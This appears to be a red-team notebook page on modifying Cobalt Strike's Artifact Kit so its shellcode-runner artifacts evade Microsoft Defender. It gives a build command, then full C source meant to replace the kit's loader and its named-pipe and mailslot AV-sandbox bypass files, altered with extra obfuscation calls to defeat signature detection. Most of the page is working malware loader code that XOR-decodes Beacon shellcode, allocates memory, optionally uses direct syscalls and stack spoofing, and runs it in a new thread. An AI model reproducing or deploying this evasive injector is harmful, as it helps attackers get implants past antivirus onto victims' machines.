Artifact Kit Changes
Various changes need to be made in the below files, following the ThreatChecker process for Defender. Copy and paste the whole file to replace.
The kit can be found in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact
.
./build.sh pipe VirtualAlloc 310272 5 false false none /mnt/c/Tools/
Each artifact flavor will be compiled to /mnt/c/Tools/cobaltstrike/artifacts/pipe/
in my case, along with an aggressor script, artifact.cna
.
More Info
These Cobalt Strike "artifacts" are nothing more than shellcode runners that inject Beacon shellcode when executed. As a rule of thumb, they inject the shellcode into themselves (e.g. using the VirtualAlloc & CreateThread pattern). The service binary is the one exception, as it spawns a new process and injects the shellcode into that instead. This is done so that when moving laterally with PsExec, the artifact can be deleted from disk immediately.
The Artifact Kit contains the source code for these artifacts and is designed to facilitate the development of sandbox-safe injectors. The idea is to develop artifacts that inject Beacon shellcode in a way that cannot be emulated by AV engines. There are several bypass techniques provided with the kit which you can modify, or you can implement entirely new ones yourself. Where the Artifact Kit does not help is with making Beacon resilient to detection once it's running in memory (e.g. from memory scanners).
The kit can be found in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact
.
The code for the entry point of each artifact format (i.e. EXE and DLL) can be found in src-main
. These include dllmain.c
for the DLL artifacts, main.c
for the EXE artifacts, and svcmain.c
for the Service EXE artifacts. These just call a function called start
, so you should not need to modify these files in most cases. The implementation of this function can be found in each bypass file.
These can be found in src-common
and are named bypass-<technique>.c
. The included ones are:
mailslot - reads the shellcode over a mailslot.
peek - uses a combination of Sleep, PeekMessage and GetTickCount.
pipe - reads the shellcode over a named pipe.
readfile - artifact reads itself from disk and seeks to find the embedded shellcode.
The naming convention of these files tell you what they are used for.
'32/64' denotes 32 and 64bit architectures.
'big' denotes that it's stageless.
'svc' denotes that it's a service executable.
/*
* Artifact Kit - A means to disguise and inject our payloads... *pHEAR*
* (c) 2012-2023 Fortra, LLC and its group of companies. All trademarks and registered trademarks are the property of their respective owners.
*
*/
#include <windows.h>
#include <stdio.h>
#include "patch.h"
#if USE_SYSCALLS == 1
#include "syscalls.h"
#include "utils.h"
#endif
char data[sizeof(phear)] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
void set_key_pointers(void * buffer) {
phear * payload = (phear *)data;
/* this payload does not adhere to our protocol to pass GetModuleHandleA / GetProcAddress to
the payload directly. */
if (payload->gmh_offset <= 0 || payload->gpa_offset <= 0)
return;
void * gpa_addr = (void *)GetProcAddress;
void * gmh_addr = (void *)GetModuleHandleA;
memcpy(buffer + payload->gmh_offset, &gmh_addr, sizeof(void *));
memcpy(buffer + payload->gpa_offset, &gpa_addr, sizeof(void *));
}
#ifdef _MIGRATE_
#include "start_thread.c"
#include "injector.c"
void spawn(void * buffer, int length, char * key) {
char process[64] = "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM";
int x;
/* decode the process name with the key (valid name, \0, junk to fill 64) */
for (int x = 0; x < sizeof(process); x++) {
char* ptr = (char *)process + x;
/* do something random, added for obfuscation */
GetTickCount();
*ptr = *ptr ^ key[x % 8];
}
/* decode the payload with the key */
for (x = 0; x < length; x++) {
char* ptr = (char *)buffer + x;
/* do something random, added for obfuscation */
GetTickCount();
*ptr = *ptr ^ key[x % 8];
}
/* propagate our key function pointers to our payload */
set_key_pointers(buffer);
inject(buffer, length, process);
}
#else
#if STACK_SPOOF == 1
#include "spoof.c"
#endif
void run(void * buffer) {
void (*function)();
function = (void (*)())buffer;
#if STACK_SPOOF == 1
beacon_threadid = GetCurrentThreadId();
#endif
function();
}
void spawn(void * buffer, int length, char * key) {
void * ptr = NULL;
/* This memory allocation will be released by beacon for these conditions:.
* 1. The stage.cleanup is set to true
* 2. The reflective loader passes the address of the loader into DllMain.
*
* This is true for the built-in Cobalt Strike reflective loader and the example
* user defined reflective loader (UDRL) in the Arsenal Kit.
*/
#if USE_HeapAlloc
/* Create Heap */
HANDLE heap;
heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
/* allocate the memory for our decoded payload */
ptr = HeapAlloc(heap, 0, 10);
/* Get wacky and add a bit of of HeapReAlloc */
if (length > 0) {
ptr = HeapReAlloc(heap, 0, ptr, length);
}
#elif USE_VirtualAlloc
#if USE_SYSCALLS == 1
SIZE_T size = length;
NtAllocateVirtualMemory(GetCurrentProcess(), &ptr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
#else
ptr = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
#endif
#elif USE_MapViewOfFile
#if USE_SYSCALLS == 1
SIZE_T size = length;
HANDLE hFile = create_file_mapping(0, length);
ptr = map_view_of_file(hFile);
NtClose(hFile);
#else
HANDLE hFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, length, NULL);
ptr = MapViewOfFile(hFile, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);
CloseHandle(hFile);
#endif
#endif
/* decode the payload with the key */
for (int x = 0; x < length; x++) {
//*((char *)ptr + x) = *((char *)buffer + x) ^ key[x % 8]; // 8 byte XoR
char original_byte = *((char *)buffer + x); // Read byte from buffer
char key_byte = key[x % 8]; // Get corresponding key byte
GetTickCount();
// Perform the original XOR operation, added for obfuscation
*((char *)ptr + x) = original_byte ^ key_byte;//
}
#if STACK_SPOOF == 1
/* setup stack spoofing */
set_stack_spoof_code();
#endif
/* propagate our key function pointers to our payload */
set_key_pointers(ptr);
#if defined(USE_VirtualAlloc) || defined(USE_MapViewOfFile)
/* fix memory protection */
DWORD old;
#if USE_SYSCALLS == 1
NtProtectVirtualMemory(GetCurrentProcess(), &ptr, &size, PAGE_EXECUTE_READ, &old);
#else
VirtualProtect(ptr, length, PAGE_EXECUTE_READ, &old);
#endif
#endif
/* spawn a thread with our data */
#if USE_SYSCALLS == 1
HANDLE thandle;
NtCreateThreadEx(&thandle, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), &run, ptr, 0, 0, 0, 0, NULL);
#else
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run, ptr, 0, NULL);
#endif
}
#endif
/*
* Artifact Kit - A means to disguise and inject our payloads... *pHEAR*
* (c) 2012-2023 Fortra, LLC and its group of companies. All trademarks and registered trademarks are the property of their respective owners.
*
*
* A/V sandbox bypass with named pipes.
*
* Strategy - feed obfuscated payload data through a named pipe before
* executing it. This will cause many A/V sandbox tools to
* give up on the binary.
*/
#include <windows.h>
#include <stdio.h>
#include "patch.h"
#if USE_SYSCALLS == 1
#include "syscalls.h"
#include "utils.h"
#endif
/* a place to track our random-ish pipe name */
char pipename[64];
void server(char * data, int length) {
DWORD wrote = 0;
#if USE_SYSCALLS == 1
HANDLE pipe = create_named_pipe(pipename);
#else
HANDLE pipe = CreateNamedPipeA(pipename, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE, 1, 0, 0, 0, NULL);
#endif
if (pipe == NULL || pipe == INVALID_HANDLE_VALUE)
return;
#if USE_SYSCALLS == 1
BOOL result = connect_named_pipe(pipe);
#else
BOOL result = ConnectNamedPipe(pipe, NULL);
#endif
if (!result)
return;
while (length > 0) {
#if USE_SYSCALLS == 1
result = write_file(pipe, data, length, &wrote);
#else
result = WriteFile(pipe, data, length, &wrote, NULL);
#endif
if (!result)
break;
data += wrote;
length -= wrote;
}
#if USE_SYSCALLS == 1
NtClose(pipe);
#else
CloseHandle(pipe);
#endif
}
BOOL client(char * buffer, int length) {
DWORD read = 0;
#if USE_SYSCALLS == 1
HANDLE pipe = create_named_pipe_file(pipename);
#else
HANDLE pipe = CreateFileA(pipename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
#endif
if (pipe == INVALID_HANDLE_VALUE)
return FALSE;
/* read the encoded payload from the pipe */
while (length > 0) {
#if USE_SYSCALLS == 1
BOOL result = read_file(pipe, buffer, length, &read);
#else
BOOL result = ReadFile(pipe, buffer, length, &read, NULL);
#endif
if (!result)
break;
buffer += read;
length -= read;
}
#if USE_SYSCALLS == 1
NtClose(pipe);
#else
CloseHandle(pipe);
#endif
return TRUE;
}
DWORD server_thread(LPVOID whatever) {
phear * payload = (phear *)data;
/* setup a pipe for our payload */
server(payload->payload, payload->length);
return 0;
}
DWORD client_thread(LPVOID whatever) {
phear * payload = (phear *)data;
/* allocate data for our "cleaned" payload */
char * buffer = (char *)malloc(payload->length);
/* try to connect to the pipe */
do {
Sleep(1024);
}
while (!client(buffer, payload->length));
/* spawn our payload */
spawn(buffer, payload->length, payload->key);
/* clean up after ourselves */
free(buffer);
return 0;
}
void start(HINSTANCE mhandle) {
/* switched from snprintf... as some A/V product was flagging based on the function *sigh*
92, 92, 46, 92, 112, 105, 112, 101, 92 is \\.\pipe\
*/
sprintf(pipename, "%c%c%c%c%c%c%c%c%cfrogs\\frog", 92, 92, 46, 92, 112, 105, 112, 101, 92);
/* start our server and our client */
#if USE_SYSCALLS == 1
HANDLE thandle;
NtCreateThreadEx(&thandle, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), &server_thread, NULL, 0, 0, 0, 0, NULL);
#else
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&server_thread, (LPVOID) NULL, 0, NULL);
#endif
client_thread(NULL);
}
/*
* Artifact Kit - A means to disguise and inject our payloads... *pHEAR*
* (c) 2012-2023 Fortra, LLC and its group of companies. All trademarks and registered trademarks are the property of their respective owners.
*
*
* A/V sandbox bypass with mailslot.
*
* Strategy - feed obfuscated payload data through a mailslot before
* executing it. This will cause many A/V sandbox tools to
* give up on the binary.
*
* This technique is from the Season 5 Episode 8 session by Mr. Un1k0d3r
* https://mr.un1k0d3r.com/portal/index.php
*/
#include <windows.h>
#include <stdio.h>
#include "patch.h"
#if USE_SYSCALLS == 1
#include "syscalls.h"
#include "utils.h"
#endif
/* a place to track our random-ish mailslot name */
char mailslot[64];
HANDLE hSlot = NULL;
void server(char * data, int length) {
#if USE_SYSCALLS == 1
HANDLE hMail = create_mailslot_file(mailslot);
#else
HANDLE hMail = CreateFile(mailslot, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
#endif
if (hMail == INVALID_HANDLE_VALUE ) {
return;
}
DWORD wrote = 0;
int maxWrite = 102400; /* force multiple writes */
while (length > 0) {
maxWrite = length < maxWrite ? length : maxWrite;
#if USE_SYSCALLS == 1
if (!write_file(hMail, data, maxWrite, &wrote)) {
#else
if (!WriteFile(hMail, data, maxWrite, &wrote, NULL)) {
#endif
break;
}
data += wrote;
length -= wrote;
Sleep(1000); /* add some pause between writes */
}
#if USE_SYSCALLS == 1
NtClose(hMail);
#else
CloseHandle(hMail);
#endif
}
BOOL client(char * buffer, int length, int *totalRead) {
DWORD lpNextSize = 0;
DWORD lpMessageCount = 0;
DWORD dwRead = 0;
BOOL bSuccess;
while(1) {
#if USE_SYSCALLS == 1
bSuccess = get_mailslot_info(hSlot, &lpNextSize, &lpMessageCount);
#else
bSuccess = GetMailslotInfo(hSlot, NULL, &lpNextSize, &lpMessageCount, NULL);
#endif
if (!bSuccess || lpNextSize == MAILSLOT_NO_MESSAGE) {
break;
}
#if USE_SYSCALLS == 1
read_file(hSlot, buffer + *totalRead, lpNextSize, &dwRead);
#else
ReadFile(hSlot, buffer + *totalRead, lpNextSize, &dwRead, NULL);
#endif
*totalRead += dwRead;
}
return (*totalRead == length);
}
DWORD server_thread(LPVOID whatever) {
phear * payload = (phear *)data;
/* setup a mailslot for our payload */
server(payload->payload, payload->length);
return 0;
}
DWORD client_thread(LPVOID whatever) {
phear * payload = (phear *)data;
/* allocate data for our "cleaned" payload */
char * buffer = (char *)malloc(payload->length);
/* Read from the mailslot */
int totalRead = 0;
do {
Sleep(1024);
}
while (!client(buffer, payload->length, &totalRead));
/* spawn our payload */
spawn(buffer, payload->length, payload->key);
/* clean up after ourselves */
free(buffer);
return 0;
}
void start(HINSTANCE mhandle) {
/* switched from snprintf... as some A/V product was flagging based on the function *sigh*
92, 92, 46, 92, 109, 97, 105, 108, 115, 108, 111, 116, 92 is \\.\mailslot\
*/
sprintf(mailslot, "%c%c%c%c%c%c%c%c%c%c%c%c%cfrogs-rock", 92, 92, 46, 92, 109, 97, 105, 108, 115, 108, 111, 116, 92);
#if USE_SYSCALLS == 1
hSlot = create_mailslot(mailslot);
#else
hSlot = CreateMailslot(mailslot, 0, MAILSLOT_WAIT_FOREVER, NULL);
#endif
if (hSlot == INVALID_HANDLE_VALUE) {
return;
}
/* start our server and our client */
#if USE_SYSCALLS == 1
HANDLE thandle;
NtCreateThreadEx(&thandle, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), &server_thread, NULL, 0, 0, 0, 0, NULL);
#else
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&server_thread, (LPVOID) NULL, 0, NULL);
#endif
client_thread(NULL);
/* clean up after ourselves */
#if USE_SYSCALLS == 1
NtClose(hSlot);
#else
CloseHandle(hSlot);
#endif
}
Last updated